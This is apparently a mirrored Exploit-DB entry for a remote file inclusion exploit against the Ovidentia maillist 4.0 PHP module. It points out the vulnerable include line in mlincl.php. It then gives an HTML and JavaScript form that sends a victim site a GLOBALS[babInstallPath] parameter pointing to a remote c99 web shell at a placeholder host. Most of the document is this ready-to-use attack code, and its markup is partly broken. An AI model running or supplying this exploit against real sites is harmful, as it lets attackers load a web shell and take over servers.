Ovidentia maillist Module 4.0 – Remote File Inclusion - 体验盒子

作者： bd0rk

日期： 2015-12-18

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/39034/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

<!--

# Title: Ovidentia maillist 4.0 Module Remote File Inclusion Exploit

# Author: bd0rk

# eMail: bd0rk[at]hackermail.com

# Twitter: twitter.com/bd0rk

# Tested on: Ubuntu-Linux

# Google-Dork: n/a-->Not for kiddies!

# Download: http://www.ovidentia.org/index.php?tg=fileman&sAction=getFile&id=17&gr=Y&path=Downloads%2FAdd-ons%2FModules%2Fmaillist&file=maillist-4-0.zip&idf=794

PoC:

maillist-4-0/programs/mlincl.php line 4

------------------------------------------------------------------------

@include_once $GLOBALS['babInstallPath'].'utilit/registerglobals.php';

------------------------------------------------------------------------

Greetz: GoLd_M(Welcome back bro'!) :), x0r_32, Anonymous, LulzSec

----------------

~~Exploitcode~~

----------------

-->

<html>

<head>

var a="/maillist-4-0/programs/"

var b="mlincl.php"

var c="?GLOBALS[babInstallPath]="

var shellcode="http://yourshellpath.com/c99.txt?"

function it(){

xpl.action= document.xpl.victim.value+a+b+c+shellcode;xpl.submit();

}

</script>

</head>

<p align="middle"><font color="#0000FF"><b>Ovidentia maillist 4.0 Module Remote File Inclusion Exploit</b></font></p>

<b><font face="Tahoma" size="2"><font color="#FF0000">Usage</font>:http://someone/directory</a></font>

or

</font>

<font face="Tahoma" size="2" color="#000000">http://someone</font><font

size="2" face="Tahoma"></a> <font size="2">&nbps;--></font></font></b><font

size="2" face="Tahoma">

</p>

<p><input type="submit" value="GO" name="B1" style="float: left"><input type="reset"

value="reset" name="B2" style="float: left"></p>

</form>

<p><br>

&nbps;</p>

</center>

</body>

</html>